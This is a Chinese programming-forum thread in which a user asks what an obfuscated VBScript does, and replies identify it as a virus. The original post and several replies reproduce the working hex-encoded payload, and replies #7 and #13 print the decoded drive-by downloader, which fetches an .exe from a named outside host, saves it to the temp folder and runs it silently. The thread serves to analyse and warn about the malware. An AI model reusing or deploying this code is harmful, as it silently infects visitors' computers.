首页    技术博客    PHP教程    数据库技术    前端开发   HTML5    Nginx    php论坛
新用户注册 | 会员登录
加入会员，解锁专属内容
取消
热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

请问这段VBScript是干什么的，急，在线等

作者：漫步乡间2012 | 来源：互联网 | 2023-05-17 19:07
<SCRIPTlanguageVBScript>T14F6E206572726F7220726573756D65206E6578740D0A57313D22687474703A

T1="4F6E206572726F7220726573756D65206E6578740D0A57313D22687474703A2F2F6261696475332E66656E6C656964616E6764616E672E636F6D2F4175746F4C697665496E73742E657865220D0A5365742057323D646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A57322E7365744174747269627574652022636C6173736964222C22636C7369643A42222622443936433535362D363541332D313144302D393833412D303043303446433239453336220D0A57333D224D2226226963726F736F66742E582226224D4C48545450220D0A5365742057343D57322E4372656174654F626A6563742857332C2222290D0A57353D2241646F220D0A57363D2264622E220D0A57373D22537472220D0A57383D2265616D220D0A57393D57352657362657372657380D0A5731303D57390D0A736574205731313D57322E6372656174656F626A656374285731302C2222290D0A5731312E747970653D310D0A5731323D22474554220D0A57342E4F70656E205731322C57312C46616C73650D0A57342E53656E640D0A5731333D225722264353747228496E742828393939392D313030302B31292A526E642B31303030292926222E636F6D220D0A736574205731343D57322E6372656174656F626A6563742822532226226372697074696E672E46222622696C6553797374656D4F626A656374222C2222290D0A736574205731353D5731342E4765745370656369616C466F6C646572283229200D0A5731333D5731342E4275696C6450617468285731352C573133290D0A5731312E6F70656E0D0A5731312E77726974652057342E726573706F6E7365426F64790D0A5731312E73617665746F66696C65205731332C320D0A5731312E636C6F73650D0A736574205731363D57322E6372656174656F626A65637428225322262268656C6C2E4122262270706C69636174696F6E222C2222290D0A5731362E5368656C6C45786563757465205731332C22222C22222C226F70656E222C30":T2="EXECUTE """"":T3="&CHR(&H":T4=")":DO WHILE LEN(T1)>1:IF ISNUMERIC(LEFT(T1,1))THEN:T2=T2&T3&LEFT(T1,2)&T4:T1=MID(T1,3):ELSE:T2=T2&T3&LEFT(T1,4)&T4:T1=MID(T1,5)
LOOP:EXECUTE T2
《SCRIPT》

马上揭帖

15 个解决方案

#1

我也想晓得。。顶一下。。。。

#2

你代码贴完整没有。。。。好像不完整吧。

#3

应该是完整，那个页面里没其他有用的东西了

#4





T1="4F6E206572726F7220726573756D65206E6578740D0A57313D22687474703A2F2F6261696475332E66656E6C656964616E6764616E672E636F6D2F4175746F4C697665496E73742E657865220D0A5365742057323D646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A57322E7365744174747269627574652022636C6173736964222C22636C7369643A42222622443936433535362D363541332D313144302D393833412D303043303446433239453336220D0A57333D224D2226226963726F736F66742E582226224D4C48545450220D0A5365742057343D57322E4372656174654F626A6563742857332C2222290D0A57353D2241646F220D0A57363D2264622E220D0A57373D22537472220D0A57383D2265616D220D0A57393D57352657362657372657380D0A5731303D57390D0A736574205731313D57322E6372656174656F626A656374285731302C2222290D0A5731312E747970653D310D0A5731323D22474554220D0A57342E4F70656E205731322C57312C46616C73650D0A57342E53656E640D0A5731333D225722264353747228496E742828393939392D313030302B31292A526E642B31303030292926222E636F6D220D0A736574205731343D57322E6372656174656F626A6563742822532226226372697074696E672E46222622696C6553797374656D4F626A656374222C2222290D0A736574205731353D5731342E4765745370656369616C466F6C646572283229200D0A5731333D5731342E4275696C6450617468285731352C573133290D0A5731312E6F70656E0D0A5731312E77726974652057342E726573706F6E7365426F64790D0A5731312E73617665746F66696C65205731332C320D0A5731312E636C6F73650D0A736574205731363D57322E6372656174656F626A65637428225322262268656C6C2E4122262270706C69636174696F6E222C2222290D0A5731362E5368656C6C45786563757465205731332C22222C22222C226F70656E222C30":T2="EXECUTE """"":T3="&CHR(&H":T4=")":DO WHILE LEN(T1)>1:IF ISNUMERIC(LEFT(T1,1))THEN:T2=T2&T3&LEFT(T1,2)&T4:T1=MID(T1,3):ELSE:T2=T2&T3&LEFT(T1,4)&T4:T1=MID(T1,5)
LOOP:EXECUTE T2
《SCRIPT》



这个是完整的页面内容

#5

对不起。。我也不解。。。我也等着。。看有高手不。

#6

嚇死我了.

#7

病毒!

楼主?!

On error resume next W1="http://baidu3.fenleidangdang.com/AutoLiveInst.exe" Set W2=document.createElement("object") W2.setAttribute "classid","clsid:B"&"D96C556-65A3-11D0-983A-00C04FC29E36" W3="M"&"icrosoft.X"&"MLHTTP" Set W4=W2.CreateObject(W3,"") W5="Ado" W6="db." W7="Str" W8="eam" W9=W5&W6&W7&W8 W10=W9 set W11=W2.createobject(W10,"") W11.type=1 W12="GET" W4.Open W12,W1,False W4.Send W13="W"&CStr(Int((9999-1000+1)*Rnd+1000))&".com" set W14=W2.createobject("S"&"cripting.F"&"ileSystemObject","") set W15=W14.GetSpecialFolder(2) W13=W14.BuildPath(W15,W13) W11.open W11.write W4.responseBody W11.savetofile W13,2 W11.close set W16=W2.createobject("S"&"hell.A"&"pplication","") W16.ShellExecute W13,"","","open",0

#8

大家不要随便测试

#9

加解密，隐藏代码信息

#10


T1="4F6E206572726F7220726573756D65206E6578740D0A57313D22687474703A2F2F6261696475332E66656E6C656964616E6764616E672E636F6D2F4175746F4C697665496E73742E657865220D0A5365742057323D646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A57322E7365744174747269627574652022636C6173736964222C22636C7369643A42222622443936433535362D363541332D313144302D393833412D303043303446433239453336220D0A57333D224D2226226963726F736F66742E582226224D4C48545450220D0A5365742057343D57322E4372656174654F626A6563742857332C2222290D0A57353D2241646F220D0A57363D2264622E220D0A57373D22537472220D0A57383D2265616D220D0A57393D57352657362657372657380D0A5731303D57390D0A736574205731313D57322E6372656174656F626A656374285731302C2222290D0A5731312E747970653D310D0A5731323D22474554220D0A57342E4F70656E205731322C57312C46616C73650D0A57342E53656E640D0A5731333D225722264353747228496E742828393939392D313030302B31292A526E642B31303030292926222E636F6D220D0A736574205731343D57322E6372656174656F626A6563742822532226226372697074696E672E46222622696C6553797374656D4F626A656374222C2222290D0A736574205731353D5731342E4765745370656369616C466F6C646572283229200D0A5731333D5731342E4275696C6450617468285731352C573133290D0A5731312E6F70656E0D0A5731312E77726974652057342E726573706F6E7365426F64790D0A5731312E73617665746F66696C65205731332C320D0A5731312E636C6F73650D0A736574205731363D57322E6372656174656F626A65637428225322262268656C6C2E4122262270706C69636174696F6E222C2222290D0A5731362E5368656C6C45786563757465205731332C22222C22222C226F70656E222C30"
T2="document.write """""
T3="&CHR(&H"
T4=")"
DO WHILE LEN(T1)>1
IF ISNUMERIC(LEFT(T1,1))THEN
T2=T2&T3&LEFT(T1,2)&T4
T1=MID(T1,3)
ELSE
T2=T2&T3&LEFT(T1,4)&T4
T1=MID(T1,5)
END IF
LOOP
EXECUTE T2
《SCRIPT》

#11

以上方法可以得到实际代码

#12

妈的,我中招了,大意啊....郁闷!~

#13

On error resume next
W1="http://baidu3.fenleidangdang.com/AutoLiveInst.exe"
Set W2=document.createElement("object")
W2.setAttribute "classid","clsid:B"&"D96C556-65A3-11D0-983A-00C04FC29E36"
W3="Microsoft.XMLHTTP"
Set W4=W2.CreateObject(W3,"")
W5="Ado" W6="db." W7="Str" W8="eam"
W9=W5&W6&W7&W8 W10=W9
set W11=W2.createobject(W10,"")
W11.type=1
W12="GET"
W4.Open W12,W1,False
W4.Send W13="W"&CStr(Int((9999-1000+1)*Rnd+1000))&".com" 
set W14=W2.createobject("Scripting.FileSystemObject","")
set W15=W14.GetSpecialFolder(2)
W13=W14.BuildPath(W15,W13)
W11.open W11.write W4.responseBody
W11.savetofileW13,2
W11.close
set W16=W2.createobject("Shell.Application","")
W16.ShellExecute W13,"","","open",0

#14

我也不知道啊，诺顿，卡巴都没检查出来

这是什么病毒啊

#15

我们做联盟的，因为给别人弹这个页面，下家站长跑了好些了

推荐阅读
  • string

    Spring源码解密之默认标签的解析方式分析

    Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断，区分默认命名空间和自定义命名空间，并采用不同的解析方式。其中，bean标签的解析最为复杂和重要。 ... [详细]
  • get

    android listview OnItemClickListener失效原因

    android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题，经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效，还会导致单击后listview每个item的背景改变，使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况，并提供了解决方法。 ... [详细]
  • string

    VB.NET在线急等问题解决方法，如何统计数据库字段下的数据并显示在文本框里？

    本文介绍了一个在线急等问题解决方法，即如何统计数据库中某个字段下的所有数据，并将结果显示在文本框里。作者提到了自己是一个菜鸟，希望能够得到帮助。作者使用的是ACCESS数据库，并且给出了一个例子，希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句，得到的结果是650，但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • get

    CSS3选择器的使用方法详解，提高Web开发效率和精准度

    CSS3选择器的使用方法详解，提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法，包括属性选择器的使用。通过CSS3选择器，可以提高Web开发的效率和精准度，使得查找元素更加方便和快捷。同时，本文还对属性选择器的各种用法进行了详细解释，并给出了相应的代码示例。通过学习本文，读者可以更好地掌握CSS3选择器的使用方法，提升自己的Web开发能力。 ... [详细]
  • io

    微软头条实习生分享深度学习自学指南

    微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享，包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性，并提供了一些建议。 ... [详细]
  • string

    向QTextEdit拖放文件的方法及实现步骤

    向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能，包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数，并结合QMimeData和QUrl等类，可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • get

    Linux重启网络命令实例及关机和重启示例教程

    Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例，以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法，以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • string

    Open judge C16H: Magical Balls 快速幂+逆元问题解析

    本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法，并给出了问题的解析和解决方法。详细介绍了问题的背景和规则，并给出了相应的算法解析和实现步骤。通过本文的解析，读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • string

    知识图谱——机器大脑中的知识库

    知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用，以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例，说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案，如搜索关键词"Marie Curie"，会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革，不仅美国的微软必应，中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • io

    P1651 塔 (动态规划) 的最大高度计算方法

    本文介绍了P1651题目的描述和要求，以及计算能搭建的塔的最大高度的方法。通过动态规划和状压技术，将问题转化为求解差值的问题，并定义了相应的状态。最终得出了计算最大高度的解法。 ... [详细]
  • get

    页面请求方法参数最长_关于 HTTP GET/POST 请求参数长度最大值的一个理解误区

    http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的，最大不能超过XX ... [详细]
  • string

    [大整数乘法] java代码实现

    [大整数乘法] java代码实现
    本文介绍了使用java代码实现大整数乘法的过程，同时也涉及到大整数加法和大整数减法的计算方法。通过分治算法来提高计算效率，并对算法的时间复杂度进行了研究。详细代码实现请参考文章链接。 ... [详细]
  • get

    Android 7自学笔记总结、移动架构视频、安卓面试真题、项目实战源码讲义

    本文介绍了Android 7的学习笔记总结，包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容，并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同，否则会出现问题。 ... [详细]
  • string

    关于Linq to sql 实现 模糊查询 string数组

    前景：当UI一个查询条件为多项选择，或录入多个条件的时候，比如查询所有名称里面包含以下动态条件，需要模糊查询里面每一项时比如是这样一个数组条件：newstring[]{兴业银行, ... [详细]
  • io

    Android开发实现的计时器功能示例

    Android开发实现的计时器功能示例
    本文分享了Android开发实现的计时器功能示例，包括效果图、布局和按钮的使用。通过使用Chronometer控件，可以实现计时器功能。该示例适用于Android平台，供开发者参考。 ... [详细]
author-avatar
漫步乡间2012
这个家伙很懒，什么也没留下！
Tags | 热门标签
RankList | 热门文章
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有